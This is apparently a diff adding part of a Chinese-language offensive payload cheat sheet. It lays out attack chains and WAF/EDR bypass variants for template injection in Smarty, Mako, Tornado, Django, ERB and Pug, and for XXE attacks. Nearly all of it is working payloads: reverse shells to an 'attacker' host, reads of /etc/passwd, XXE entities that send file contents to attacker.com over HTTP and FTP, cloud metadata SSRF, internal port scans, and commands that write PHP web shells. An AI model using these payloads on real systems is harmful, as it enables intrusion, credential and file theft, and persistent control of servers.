|
|
3275
|
+
{$smarty.version}
|
|
3276
|
+
{7*7}
|
|
3277
|
+
{$smarty.template}
|
|
3278
|
+
如果输出版本或49,则存在SSTI
|
|
3279
|
+
```
|
|
3280
|
+
|
|
3281
|
+
**2. 2. 信息收集**
|
|
3282
|
+
_收集环境信息_
|
|
3283
|
+
```
|
|
3284
|
+
{$smarty.server.PHP_SELF}
|
|
3285
|
+
{$smarty.server.SERVER_NAME}
|
|
3286
|
+
{$smarty.const.PHP_VERSION}
|
|
3287
|
+
```
|
|
3288
|
+
|
|
3289
|
+
**3. 3. 命令执行 - system**
|
|
3290
|
+
_使用system函数执行命令_
|
|
3291
|
+
```
|
|
3292
|
+
{system("id")}
|
|
3293
|
+
{system("whoami")}
|
|
3294
|
+
{system("cat /etc/passwd")}
|
|
3295
|
+
```
|
|
3296
|
+
|
|
3297
|
+
**4. 4. 命令执行 - passthru**
|
|
3298
|
+
_使用passthru函数执行命令_
|
|
3299
|
+
```
|
|
3300
|
+
{passthru("id")}
|
|
3301
|
+
{passthru("ls -la")}
|
|
3302
|
+
{passthru("cat /etc/passwd")}
|
|
3303
|
+
```
|
|
3304
|
+
|
|
3305
|
+
**5. 5. 命令执行 - exec**
|
|
3306
|
+
_使用exec函数执行命令_
|
|
3307
|
+
```
|
|
3308
|
+
{exec("id",$output)}
|
|
3309
|
+
{foreach from=$output item=line}{$line}{/foreach}
|
|
3310
|
+
```
|
|
3311
|
+
|
|
3312
|
+
**6. 6. 反弹Shell** _[linux]_
|
|
3313
|
+
_获取反弹Shell_
|
|
3314
|
+
```
|
|
3315
|
+
{system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"")}
|
|
3316
|
+
{system("nc -e /bin/sh attacker 4444")}
|
|
3317
|
+
```
|
|
3318
|
+
|
|
3319
|
+
**WAF/EDR 绕过变体:**
|
|
3320
|
+
|
|
3321
|
+
**1. 字符串拼接**
|
|
3322
|
+
_使用字符串拼接绕过_
|
|
3323
|
+
```
|
|
3324
|
+
{system("i"+"d")}
|
|
3325
|
+
{system("who"."ami")}
|
|
3326
|
+
{system("ca"."t /etc/passwd")}
|
|
3327
|
+
```
|
|
3328
|
+
|
|
3329
|
+
**2. 变量赋值**
|
|
3330
|
+
_使用变量赋值绕过_
|
|
3331
|
+
```
|
|
3332
|
+
{assign var="cmd" value="id"}
|
|
3333
|
+
{system($cmd)}
|
|
3334
|
+
{assign var="f" value="sys"."tem"}
|
|
3335
|
+
{$f("id")}
|
|
3336
|
+
```
|
|
3337
|
+
|
|
3338
|
+
**3. 使用PHP函数**
|
|
3339
|
+
_WAF绕过技术_
|
|
3340
|
+
```
|
|
3341
|
+
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
|
|
3342
|
+
{PHP function call}
|
|
3343
|
+
```
|
|
3344
|
+
|
|
3345
|
+
---
|
|
3346
|
+
|
|
3347
|
+
### Mako模板注入 `ssti-mako`
|
|
3348
|
+
Mako模板引擎注入攻击技术
|
|
3349
|
+
子类:**Mako** · tags: `ssti` `mako` `python` `template`
|
|
3350
|
+
|
|
3351
|
+
**前置条件:** 使用Mako模板引擎;用户输入直接渲染到模板
|
|
3352
|
+
|
|
3353
|
+
**攻击链:**
|
|
3354
|
+
|
|
3355
|
+
**1. 1. 探测SSTI**
|
|
3356
|
+
_探测Mako模板注入_
|
|
3357
|
+
```
|
|
3358
|
+
${7*7}
|
|
3359
|
+
${self}
|
|
3360
|
+
${self.module}
|
|
3361
|
+
如果输出49或模块信息,则存在SSTI
|
|
3362
|
+
```
|
|
3363
|
+
|
|
3364
|
+
**2. 2. 信息收集**
|
|
3365
|
+
_收集环境信息_
|
|
3366
|
+
```
|
|
3367
|
+
${self.module.cache.util}
|
|
3368
|
+
${self.module.cache.util.os}
|
|
3369
|
+
${dir(self)}
|
|
3370
|
+
```
|
|
3371
|
+
|
|
3372
|
+
**3. 3. 命令执行 - os模块**
|
|
3373
|
+
_使用os模块执行命令_
|
|
3374
|
+
```
|
|
3375
|
+
${self.module.cache.util.os.popen("id").read()}
|
|
3376
|
+
${self.module.cache.util.os.popen("whoami").read()}
|
|
3377
|
+
${self.module.cache.util.os.system("id")}
|
|
3378
|
+
```
|
|
3379
|
+
|
|
3380
|
+
**4. 4. 命令执行 - subprocess**
|
|
3381
|
+
_使用subprocess执行命令_
|
|
3382
|
+
```
|
|
3383
|
+
<%
|
|
3384
|
+
import subprocess
|
|
3385
|
+
%>
|
|
3386
|
+
${subprocess.check_output(["id","-a"])}
|
|
3387
|
+
${subprocess.Popen(["id"],stdout=subprocess.PIPE).communicate()[0]}
|
|
3388
|
+
```
|
|
3389
|
+
|
|
3390
|
+
**5. 5. 反弹Shell** _[linux]_
|
|
3391
|
+
_获取反弹Shell_
|
|
3392
|
+
```
|
|
3393
|
+
${self.module.cache.util.os.popen("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"").read()}
|
|
3394
|
+
```
|
|
3395
|
+
|
|
3396
|
+
**WAF/EDR 绕过变体:**
|
|
3397
|
+
|
|
3398
|
+
**1. 字符串拼接**
|
|
3399
|
+
_使用字符串拼接绕过_
|
|
3400
|
+
```
|
|
3401
|
+
${self.module.cache.util.os.popen("i"+"d").read()}
|
|
3402
|
+
${self.module.cache.util.os.popen("who"+"ami").read()}
|
|
3403
|
+
```
|
|
3404
|
+
|
|
3405
|
+
**2. 使用__import__**
|
|
3406
|
+
_使用__import__导入模块_
|
|
3407
|
+
```
|
|
3408
|
+
${__import__("os").popen("id").read()}
|
|
3409
|
+
${__import__("subprocess").check_output(["id"])}
|
|
3410
|
+
```
|
|
3411
|
+
|
|
3412
|
+
**3. 使用getattr**
|
|
3413
|
+
_使用getattr绕过_
|
|
3414
|
+
```
|
|
3415
|
+
${getattr(__import__("os"),"popen")("id").read()}
|
|
3416
|
+
${getattr(getattr(__import__("os"),"popen")("id"),"read")()}
|
|
3417
|
+
```
|
|
3418
|
+
|
|
3419
|
+
---
|
|
3420
|
+
|
|
3421
|
+
### Tornado模板注入 `ssti-tornado`
|
|
3422
|
+
Tornado模板引擎注入攻击技术
|
|
3423
|
+
子类:**Tornado** · tags: `ssti` `tornado` `python` `template`
|
|
3424
|
+
|
|
3425
|
+
**前置条件:** 使用Tornado模板引擎;用户输入直接渲染到模板
|
|
3426
|
+
|
|
3427
|
+
**攻击链:**
|
|
3428
|
+
|
|
3429
|
+
**1. 1. 探测SSTI**
|
|
3430
|
+
_探测Tornado模板注入_
|
|
3431
|
+
```
|
|
3432
|
+
{{7*7}}
|
|
3433
|
+
{{handler}}
|
|
3434
|
+
{{request}}
|
|
3435
|
+
如果输出49或handler对象,则存在SSTI
|
|
3436
|
+
```
|
|
3437
|
+
|
|
3438
|
+
**2. 2. 信息收集**
|
|
3439
|
+
_收集环境信息_
|
|
3440
|
+
```
|
|
3441
|
+
{{handler.settings}}
|
|
3442
|
+
{{handler.application}}
|
|
3443
|
+
{{request.headers}}
|
|
3444
|
+
{{request.cookies}}
|
|
3445
|
+
```
|
|
3446
|
+
|
|
3447
|
+
**3. 3. 命令执行 - os**
|
|
3448
|
+
_使用os模块执行命令_
|
|
3449
|
+
```
|
|
3450
|
+
{% import os %}
|
|
3451
|
+
{{os.popen("id").read()}}
|
|
3452
|
+
{{os.popen("whoami").read()}}
|
|
3453
|
+
{{os.system("id")}}
|
|
3454
|
+
```
|
|
3455
|
+
|
|
3456
|
+
**4. 4. 命令执行 - subprocess**
|
|
3457
|
+
_使用subprocess执行命令_
|
|
3458
|
+
```
|
|
3459
|
+
{% import subprocess %}
|
|
3460
|
+
{{subprocess.check_output(["id","-a"])}}
|
|
3461
|
+
{{subprocess.Popen(["id"],stdout=-1).communicate()[0]}}
|
|
3462
|
+
```
|
|
3463
|
+
|
|
3464
|
+
**5. 5. 反弹Shell** _[linux]_
|
|
3465
|
+
_获取反弹Shell_
|
|
3466
|
+
```
|
|
3467
|
+
{% import os %}
|
|
3468
|
+
{{os.popen("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"").read()}}
|
|
3469
|
+
```
|
|
3470
|
+
|
|
3471
|
+
**WAF/EDR 绕过变体:**
|
|
3472
|
+
|
|
3473
|
+
**1. 字符串拼接**
|
|
3474
|
+
_使用字符串拼接绕过_
|
|
3475
|
+
```
|
|
3476
|
+
{% import os %}
|
|
3477
|
+
{{os.popen("i"+"d").read()}}
|
|
3478
|
+
{{os.popen("who"+"ami").read()}}
|
|
3479
|
+
```
|
|
3480
|
+
|
|
3481
|
+
**2. 使用__import__**
|
|
3482
|
+
_使用__import__导入模块_
|
|
3483
|
+
```
|
|
3484
|
+
{{__import__("os").popen("id").read()}}
|
|
3485
|
+
{{__import__("subprocess").check_output(["id"])}}
|
|
3486
|
+
```
|
|
3487
|
+
|
|
3488
|
+
**3. 使用handler**
|
|
3489
|
+
_通过handler访问_
|
|
3490
|
+
```
|
|
3491
|
+
{{handler.application.settings}}
|
|
3492
|
+
{{handler.get_status()}}
|
|
3493
|
+
{{handler.request.remote_ip}}
|
|
3494
|
+
```
|
|
3495
|
+
|
|
3496
|
+
---
|
|
3497
|
+
|
|
3498
|
+
### Django模板注入 `ssti-django`
|
|
3499
|
+
Django模板引擎注入攻击技术
|
|
3500
|
+
子类:**Django** · tags: `ssti` `django` `python` `template`
|
|
3501
|
+
|
|
3502
|
+
**前置条件:** 使用Django模板引擎;用户输入直接渲染到模板
|
|
3503
|
+
|
|
3504
|
+
**攻击链:**
|
|
3505
|
+
|
|
3506
|
+
**1. 1. 探测SSTI**
|
|
3507
|
+
_探测Django模板注入_
|
|
3508
|
+
```
|
|
3509
|
+
{{7*7}}
|
|
3510
|
+
{% if 1=1 %}vulnerable{% endif %}
|
|
3511
|
+
{{request}}
|
|
3512
|
+
如果输出49或request对象,则存在SSTI
|
|
3513
|
+
```
|
|
3514
|
+
|
|
3515
|
+
**2. 2. 信息收集**
|
|
3516
|
+
_收集环境信息_
|
|
3517
|
+
```
|
|
3518
|
+
{{request.META}}
|
|
3519
|
+
{{request.user}}
|
|
3520
|
+
{{request.session}}
|
|
3521
|
+
{{settings.SECRET_KEY}}
|
|
3522
|
+
```
|
|
3523
|
+
|
|
3524
|
+
**3. 3. 命令执行 - 通过settings**
|
|
3525
|
+
_尝试通过settings访问_
|
|
3526
|
+
```
|
|
3527
|
+
{{settings.TEMPLATES}}
|
|
3528
|
+
{{settings.DATABASES}}
|
|
3529
|
+
# Django模板默认沙箱,难以直接执行命令
|
|
3530
|
+
# 需要找到可利用的对象链
|
|
3531
|
+
```
|
|
3532
|
+
|
|
3533
|
+
**4. 4. 命令执行 - 对象链**
|
|
3534
|
+
_通过对象链访问_
|
|
3535
|
+
```
|
|
3536
|
+
{{request.user.groups.model._meta.apps}}
|
|
3537
|
+
{{request.user.user_permissions.model._meta.apps}}
|
|
3538
|
+
# 尝试访问Django内部对象
|
|
3539
|
+
```
|
|
3540
|
+
|
|
3541
|
+
**5. 5. 敏感信息泄露**
|
|
3542
|
+
_泄露敏感配置_
|
|
3543
|
+
```
|
|
3544
|
+
{{settings.SECRET_KEY}}
|
|
3545
|
+
{{settings.DATABASES}}
|
|
3546
|
+
{{settings.ALLOWED_HOSTS}}
|
|
3547
|
+
{{settings.DEBUG}}
|
|
3548
|
+
```
|
|
3549
|
+
|
|
3550
|
+
**WAF/EDR 绕过变体:**
|
|
3551
|
+
|
|
3552
|
+
**1. 使用过滤器**
|
|
3553
|
+
_使用Django过滤器_
|
|
3554
|
+
```
|
|
3555
|
+
{{request|length}}
|
|
3556
|
+
{{settings.SECRET_KEY|default:""}}
|
|
3557
|
+
{{request.META|dictsort:"key"}}
|
|
3558
|
+
```
|
|
3559
|
+
|
|
3560
|
+
**2. 使用for循环**
|
|
3561
|
+
_使用for循环遍历_
|
|
3562
|
+
```
|
|
3563
|
+
{% for key, value in request.META.items %}{{key}}:{{value}}{% endfor %}
|
|
3564
|
+
{% for k in settings.keys %}{{k}}{% endfor %}
|
|
3565
|
+
```
|
|
3566
|
+
|
|
3567
|
+
---
|
|
3568
|
+
|
|
3569
|
+
### ERB模板注入 `ssti-erb`
|
|
3570
|
+
ERB(Ruby)模板引擎注入攻击技术
|
|
3571
|
+
子类:**ERB** · tags: `ssti` `erb` `ruby` `template`
|
|
3572
|
+
|
|
3573
|
+
**前置条件:** 使用ERB模板引擎;用户输入直接渲染到模板
|
|
3574
|
+
|
|
3575
|
+
**攻击链:**
|
|
3576
|
+
|
|
3577
|
+
**1. 1. 探测SSTI**
|
|
3578
|
+
_探测ERB模板注入_
|
|
3579
|
+
```
|
|
3580
|
+
<%= 7*7 %>
|
|
3581
|
+
<%= self %>
|
|
3582
|
+
<%= __FILE__ %>
|
|
3583
|
+
如果输出49或文件信息,则存在SSTI
|
|
3584
|
+
```
|
|
3585
|
+
|
|
3586
|
+
**2. 2. 信息收集**
|
|
3587
|
+
_收集环境信息_
|
|
3588
|
+
```
|
|
3589
|
+
<%= Dir.pwd %>
|
|
3590
|
+
<%= ENV.inspect %>
|
|
3591
|
+
<%= `id` %>
|
|
3592
|
+
<%= File.read("/etc/passwd") %>
|
|
3593
|
+
```
|
|
3594
|
+
|
|
3595
|
+
**3. 3. 命令执行 - 反引号**
|
|
3596
|
+
_使用反引号执行命令_
|
|
3597
|
+
```
|
|
3598
|
+
<%= `id` %>
|
|
3599
|
+
<%= `whoami` %>
|
|
3600
|
+
<%= `cat /etc/passwd` %>
|
|
3601
|
+
<%= `ls -la` %>
|
|
3602
|
+
```
|
|
3603
|
+
|
|
3604
|
+
**4. 4. 命令执行 - system** _[linux]_
|
|
3605
|
+
_使用system/exec执行命令并获取反弹Shell_
|
|
3606
|
+
```
|
|
3607
|
+
<%= system("id") %>
|
|
3608
|
+
<%= system("whoami") %>
|
|
3609
|
+
<%= exec("id") %>
|
|
3610
|
+
<%= IO.popen("id").read %>
|
|
3611
|
+
```
|
|
3612
|
+
|
|
3613
|
+
**WAF/EDR 绕过变体:**
|
|
3614
|
+
|
|
3615
|
+
**1. 字符串拼接**
|
|
3616
|
+
_使用字符串拼接绕过_
|
|
3617
|
+
```
|
|
3618
|
+
<%= `i` + `d` %>
|
|
3619
|
+
<%= system("wh"+"oami") %>
|
|
3620
|
+
<%= ("i"+"d").then { |c| system(c) } %>
|
|
3621
|
+
```
|
|
3622
|
+
|
|
3623
|
+
**2. 使用%语法**
|
|
3624
|
+
_使用%x语法执行命令_
|
|
3625
|
+
```
|
|
3626
|
+
<%= %x(id) %>
|
|
3627
|
+
<%= %x{whoami} %>
|
|
3628
|
+
<%= %x[cat /etc/passwd] %>
|
|
3629
|
+
```
|
|
3630
|
+
|
|
3631
|
+
**3. 使用Open3**
|
|
3632
|
+
_使用Open3模块_
|
|
3633
|
+
```
|
|
3634
|
+
<%= require "open3"; Open3.popen3("id") { |i,o,e,t| puts o.read } %>
|
|
3635
|
+
```
|
|
3636
|
+
|
|
3637
|
+
---
|
|
3638
|
+
|
|
3639
|
+
### Pug/Jade模板注入 `ssti-pug`
|
|
3640
|
+
Pug/Jade模板引擎注入攻击技术
|
|
3641
|
+
子类:**Pug** · tags: `ssti` `pug` `jade` `nodejs` `template`
|
|
3642
|
+
|
|
3643
|
+
**前置条件:** 使用Pug/Jade模板引擎;用户输入直接渲染到模板
|
|
3644
|
+
|
|
3645
|
+
**攻击链:**
|
|
3646
|
+
|
|
3647
|
+
**1. 1. 探测SSTI**
|
|
3648
|
+
_探测Pug模板注入_
|
|
3649
|
+
```
|
|
3650
|
+
#{7*7}
|
|
3651
|
+
#{this}
|
|
3652
|
+
#{global}
|
|
3653
|
+
如果输出49或global对象,则存在SSTI
|
|
3654
|
+
```
|
|
3655
|
+
|
|
3656
|
+
**2. 2. 信息收集**
|
|
3657
|
+
_收集环境信息_
|
|
3658
|
+
```
|
|
3659
|
+
#{process}
|
|
3660
|
+
#{process.env}
|
|
3661
|
+
#{global.process}
|
|
3662
|
+
#{require}
|
|
3663
|
+
```
|
|
3664
|
+
|
|
3665
|
+
**3. 3. 命令执行 - child_process**
|
|
3666
|
+
_使用child_process执行命令_
|
|
3667
|
+
```
|
|
3668
|
+
- var exec = require("child_process").exec
|
|
3669
|
+
#{exec("id", function(err, stdout, stderr) { console.log(stdout) })}
|
|
3670
|
+
- require("child_process").exec("id")
|
|
3671
|
+
```
|
|
3672
|
+
|
|
3673
|
+
**4. 4. 命令执行 - execSync**
|
|
3674
|
+
_使用execSync执行命令_
|
|
3675
|
+
```
|
|
3676
|
+
- var execSync = require("child_process").execSync
|
|
3677
|
+
#{execSync("id").toString()}
|
|
3678
|
+
#{require("child_process").execSync("id").toString()}
|
|
3679
|
+
```
|
|
3680
|
+
|
|
3681
|
+
**5. 5. 反弹Shell** _[linux]_
|
|
3682
|
+
_获取反弹Shell_
|
|
3683
|
+
```
|
|
3684
|
+
- require("child_process").exec("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"")
|
|
3685
|
+
```
|
|
3686
|
+
|
|
3687
|
+
**WAF/EDR 绕过变体:**
|
|
3688
|
+
|
|
3689
|
+
**1. 字符串拼接**
|
|
3690
|
+
_使用字符串拼接绕过_
|
|
3691
|
+
```
|
|
3692
|
+
- var cmd = "i" + "d"
|
|
3693
|
+
#{require("child_process").execSync(cmd).toString()}
|
|
3694
|
+
- var r = "require"
|
|
3695
|
+
#{global[r]("child_process")}
|
|
3696
|
+
```
|
|
3697
|
+
|
|
3698
|
+
**2. 使用global**
|
|
3699
|
+
_使用global对象_
|
|
3700
|
+
```
|
|
3701
|
+
#{global.process.mainModule.require("child_process").execSync("id").toString()}
|
|
3702
|
+
#{global["req"+"uire"]("child_process")}
|
|
3703
|
+
```
|
|
3704
|
+
|
|
3705
|
+
**3. 使用this**
|
|
3706
|
+
_使用this.constructor_
|
|
3707
|
+
```
|
|
3708
|
+
#{this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id")}
|
|
3709
|
+
```
|
|
3710
|
+
|
|
3711
|
+
---
|
|
3712
|
+
|
|
3713
|
+
### · XXE实体注入
|
|
3714
|
+
|
|
3715
|
+
### XXE基础攻击 `xxe-basic`
|
|
3716
|
+
XML外部实体注入基础攻击技术
|
|
3717
|
+
子类:**基础攻击** · tags: `xxe` `xml` `external` `entity`
|
|
3718
|
+
|
|
3719
|
+
**前置条件:** 存在XML解析功能;外部实体未被禁用
|
|
3720
|
+
|
|
3721
|
+
**攻击链:**
|
|
3722
|
+
|
|
3723
|
+
**1. 1. 探测XXE**
|
|
3724
|
+
_基础XXE测试_
|
|
3725
|
+
```
|
|
3726
|
+
<?xml version="1.0"?>
|
|
3727
|
+
<!DOCTYPE foo [
|
|
3728
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
3729
|
+
]>
|
|
3730
|
+
<root>&xxe;</root>
|
|
3731
|
+
```
|
|
3732
|
+
|
|
3733
|
+
**2. 2. 读取文件** _[windows]_
|
|
3734
|
+
_读取Windows文件_
|
|
3735
|
+
```
|
|
3736
|
+
<?xml version="1.0"?>
|
|
3737
|
+
<!DOCTYPE foo [
|
|
3738
|
+
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
|
|
3739
|
+
]>
|
|
3740
|
+
<root>&xxe;</root>
|
|
3741
|
+
```
|
|
3742
|
+
|
|
3743
|
+
**3. 3. 读取PHP源码**
|
|
3744
|
+
_使用PHP Filter读取源码_
|
|
3745
|
+
```
|
|
3746
|
+
<?xml version="1.0"?>
|
|
3747
|
+
<!DOCTYPE foo [
|
|
3748
|
+
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
|
|
3749
|
+
]>
|
|
3750
|
+
<root>&xxe;</root>
|
|
3751
|
+
```
|
|
3752
|
+
|
|
3753
|
+
**4. 4. SSRF攻击**
|
|
3754
|
+
_利用XXE进行SSRF_
|
|
3755
|
+
```
|
|
3756
|
+
<?xml version="1.0"?>
|
|
3757
|
+
<!DOCTYPE foo [
|
|
3758
|
+
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
|
|
3759
|
+
]>
|
|
3760
|
+
<root>&xxe;</root>
|
|
3761
|
+
```
|
|
3762
|
+
|
|
3763
|
+
**WAF/EDR 绕过变体:**
|
|
3764
|
+
|
|
3765
|
+
**1. 参数实体**
|
|
3766
|
+
_使用参数实体绕过_
|
|
3767
|
+
```
|
|
3768
|
+
<?xml version="1.0"?>
|
|
3769
|
+
<!DOCTYPE foo [
|
|
3770
|
+
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
|
|
3771
|
+
%xxe;
|
|
3772
|
+
]>
|
|
3773
|
+
<root>test</root>
|
|
3774
|
+
```
|
|
3775
|
+
|
|
3776
|
+
**2. 编码绕过**
|
|
3777
|
+
_使用编码绕过_
|
|
3778
|
+
```
|
|
3779
|
+
<?xml version="1.0" encoding="UTF-16"?>
|
|
3780
|
+
使用不同编码绕过WAF
|
|
3781
|
+
```
|
|
3782
|
+
|
|
3783
|
+
---
|
|
3784
|
+
|
|
3785
|
+
### 盲注XXE攻击 `xxe-blind`
|
|
3786
|
+
无回显的XXE攻击技术
|
|
3787
|
+
子类:**盲注XXE** · tags: `xxe` `blind` `oob` `xml`
|
|
3788
|
+
|
|
3789
|
+
**前置条件:** 存在XML解析;无直接回显
|
|
3790
|
+
|
|
3791
|
+
**攻击链:**
|
|
3792
|
+
|
|
3793
|
+
**1. 1. 外部实体探测**
|
|
3794
|
+
_使用外部实体探测_
|
|
3795
|
+
```
|
|
3796
|
+
<?xml version="1.0"?>
|
|
3797
|
+
<!DOCTYPE foo [
|
|
3798
|
+
<!ENTITY xxe SYSTEM "http://attacker.com/xxe">
|
|
3799
|
+
]>
|
|
3800
|
+
<foo>&xxe;</foo>
|
|
3801
|
+
```
|
|
3802
|
+
|
|
3803
|
+
**2. 2. 参数实体**
|
|
3804
|
+
_使用参数实体_
|
|
3805
|
+
```
|
|
3806
|
+
<?xml version="1.0"?>
|
|
3807
|
+
<!DOCTYPE foo [
|
|
3808
|
+
<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">
|
|
3809
|
+
%xxe;
|
|
3810
|
+
]>
|
|
3811
|
+
<foo>test</foo>
|
|
3812
|
+
```
|
|
3813
|
+
|
|
3814
|
+
**3. 3. OOB外带数据**
|
|
3815
|
+
_OOB外带文件内容_
|
|
3816
|
+
```
|
|
3817
|
+
<?xml version="1.0"?>
|
|
3818
|
+
<!DOCTYPE foo [
|
|
3819
|
+
<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">
|
|
3820
|
+
%xxe;
|
|
3821
|
+
]>
|
|
3822
|
+
<foo>test</foo>
|
|
3823
|
+
|
|
3824
|
+
# xxe.dtd内容
|
|
3825
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
3826
|
+
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>">
|
|
3827
|
+
%eval;
|
|
3828
|
+
%exfil;
|
|
3829
|
+
```
|
|
3830
|
+
|
|
3831
|
+
**WAF/EDR 绕过变体:**
|
|
3832
|
+
|
|
3833
|
+
**1. 编码绕过**
|
|
3834
|
+
_编码绕过_
|
|
3835
|
+
```
|
|
3836
|
+
使用UTF-16编码XML文档
|
|
3837
|
+
绕过WAF检测
|
|
3838
|
+
```
|
|
3839
|
+
|
|
3840
|
+
---
|
|
3841
|
+
|
|
3842
|
+
### XXE OOB外带攻击 `xxe-oob`
|
|
3843
|
+
利用OOB技术外带XXE数据
|
|
3844
|
+
子类:**OOB外带** · tags: `xxe` `oob` `exfiltration` `xml`
|
|
3845
|
+
|
|
3846
|
+
**前置条件:** 存在XXE漏洞;可发起外部请求
|
|
3847
|
+
|
|
3848
|
+
**攻击链:**
|
|
3849
|
+
|
|
3850
|
+
**1. 1. HTTP外带**
|
|
3851
|
+
_HTTP外带数据_
|
|
3852
|
+
```
|
|
3853
|
+
<?xml version="1.0"?>
|
|
3854
|
+
<!DOCTYPE foo [
|
|
3855
|
+
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
|
|
3856
|
+
%xxe;
|
|
3857
|
+
]>
|
|
3858
|
+
<foo></foo>
|
|
3859
|
+
|
|
3860
|
+
# evil.dtd
|
|
3861
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
3862
|
+
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/log?data=%file;'>">
|
|
3863
|
+
%eval;
|
|
3864
|
+
%exfil;
|
|
3865
|
+
```
|
|
3866
|
+
|
|
3867
|
+
**2. 2. FTP外带**
|
|
3868
|
+
_FTP外带数据_
|
|
3869
|
+
```
|
|
3870
|
+
<?xml version="1.0"?>
|
|
3871
|
+
<!DOCTYPE foo [
|
|
3872
|
+
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
|
|
3873
|
+
%xxe;
|
|
3874
|
+
]>
|
|
3875
|
+
<foo></foo>
|
|
3876
|
+
|
|
3877
|
+
# evil.dtd
|
|
3878
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
3879
|
+
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'ftp://attacker.com/%file;'>">
|
|
3880
|
+
%eval;
|
|
3881
|
+
%exfil;
|
|
3882
|
+
```
|
|
3883
|
+
|
|
3884
|
+
**3. 3. DNS外带**
|
|
3885
|
+
_DNS外带_
|
|
3886
|
+
```
|
|
3887
|
+
<?xml version="1.0"?>
|
|
3888
|
+
<!DOCTYPE foo [
|
|
3889
|
+
<!ENTITY xxe SYSTEM "http://attacker.com/log?file=/etc/passwd">
|
|
3890
|
+
]>
|
|
3891
|
+
<foo>&xxe;</foo>
|
|
3892
|
+
|
|
3893
|
+
# 或使用子域名
|
|
3894
|
+
<!ENTITY xxe SYSTEM "http://filecontent.attacker.com/">
|
|
3895
|
+
```
|
|
3896
|
+
|
|
3897
|
+
**WAF/EDR 绕过变体:**
|
|
3898
|
+
|
|
3899
|
+
**1. 使用CDATA**
|
|
3900
|
+
_CDATA包装_
|
|
3901
|
+
```
|
|
3902
|
+
<?xml version="1.0"?>
|
|
3903
|
+
<!DOCTYPE foo [
|
|
3904
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
3905
|
+
]>
|
|
3906
|
+
<foo><![CDATA[&xxe;]]></foo>
|
|
3907
|
+
```
|
|
3908
|
+
|
|
3909
|
+
---
|
|
3910
|
+
|
|
3911
|
+
### XXE+SSRF组合攻击 `xxe-ssrf`
|
|
3912
|
+
利用XXE实现SSRF攻击
|
|
3913
|
+
子类:**XXE+SSRF** · tags: `xxe` `ssrf` `combination` `xml`
|
|
3914
|
+
|
|
3915
|
+
**前置条件:** 存在XXE漏洞;内网可访问
|
|
3916
|
+
|
|
3917
|
+
**攻击链:**
|
|
3918
|
+
|
|
3919
|
+
**1. 1. 扫描内网端口**
|
|
3920
|
+
_扫描内网端口_
|
|
3921
|
+
```
|
|
3922
|
+
<?xml version="1.0"?>
|
|
3923
|
+
<!DOCTYPE foo [
|
|
3924
|
+
<!ENTITY xxe SYSTEM "http://192.168.1.1:22">
|
|
3925
|
+
]>
|
|
3926
|
+
<foo>&xxe;</foo>
|
|
3927
|
+
|
|
3928
|
+
# 批量扫描
|
|
3929
|
+
<!ENTITY xxe SYSTEM "http://192.168.1.1:80">
|
|
3930
|
+
<!ENTITY xxe SYSTEM "http://192.168.1.1:443">
|
|
3931
|
+
```
|
|
3932
|
+
|
|
3933
|
+
**2. 2. 访问内网服务**
|
|
3934
|
+
```
|
|
3935
|
+
<?xml version="1.0"?>
|
|
3936
|
+
<!DOCTYPE foo [
|
|
3937
|
+
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379/info">
|
|
3938
|
+
]>
|
|
3939
|
+
<foo>&xxe;</foo>
|
|
3940
|
+
|
|
3941
|
+
# 访问Redis
|
|
3942
|
+
# 访问内部API
|
|
3943
|
+
```
|
|
3944
|
+
|
|
3945
|
+
**WAF/EDR 绕过变体:**
|
|
3946
|
+
|
|
3947
|
+
**1. 编码绕过**
|
|
3948
|
+
_编码绕过_
|
|
3949
|
+
```
|
|
3950
|
+
使用不同编码格式绕过IP过滤
|
|
3951
|
+
```
|
|
3952
|
+
|
|
3953
|
+
---
|
|
3954
|
+
|
|
3955
|
+
### XXE到RCE `xxe-rce`
|
|
3956
|
+
利用XXE实现远程代码执行
|
|
3957
|
+
子类:**XXE到RCE** · tags: `xxe` `rce` `php` `expect`
|
|
3958
|
+
|
|
3959
|
+
**前置条件:** 存在XXE漏洞;PHP expect扩展加载
|
|
3960
|
+
|
|
3961
|
+
**攻击链:**
|
|
3962
|
+
|
|
3963
|
+
**1. 1. Expect扩展RCE**
|
|
3964
|
+
_使用expect协议执行命令_
|
|
3965
|
+
```
|
|
3966
|
+
<?xml version="1.0"?>
|
|
3967
|
+
<!DOCTYPE foo [
|
|
3968
|
+
<!ENTITY xxe SYSTEM "expect://whoami">
|
|
3969
|
+
]>
|
|
3970
|
+
<foo>&xxe;</foo>
|
|
3971
|
+
|
|
3972
|
+
# 执行任意命令
|
|
3973
|
+
<!ENTITY xxe SYSTEM "expect://id">
|
|
3974
|
+
<!ENTITY xxe SYSTEM "expect://cat /etc/passwd">
|
|
3975
|
+
```
|
|
3976
|
+
|
|
3977
|
+
**2. 2. 写入WebShell**
|
|
3978
|
+
```
|
|
3979
|
+
<?xml version="1.0"?>
|
|
3980
|
+
<!DOCTYPE foo [
|
|
3981
|
+
<!ENTITY xxe SYSTEM "expect://echo '<?php eval($_POST[cmd]);?>' > /var/www/html/shell.php">
|
|
3982
|
+
]>
|
|
3983
|
+
<foo>&xxe;</foo>
|
|
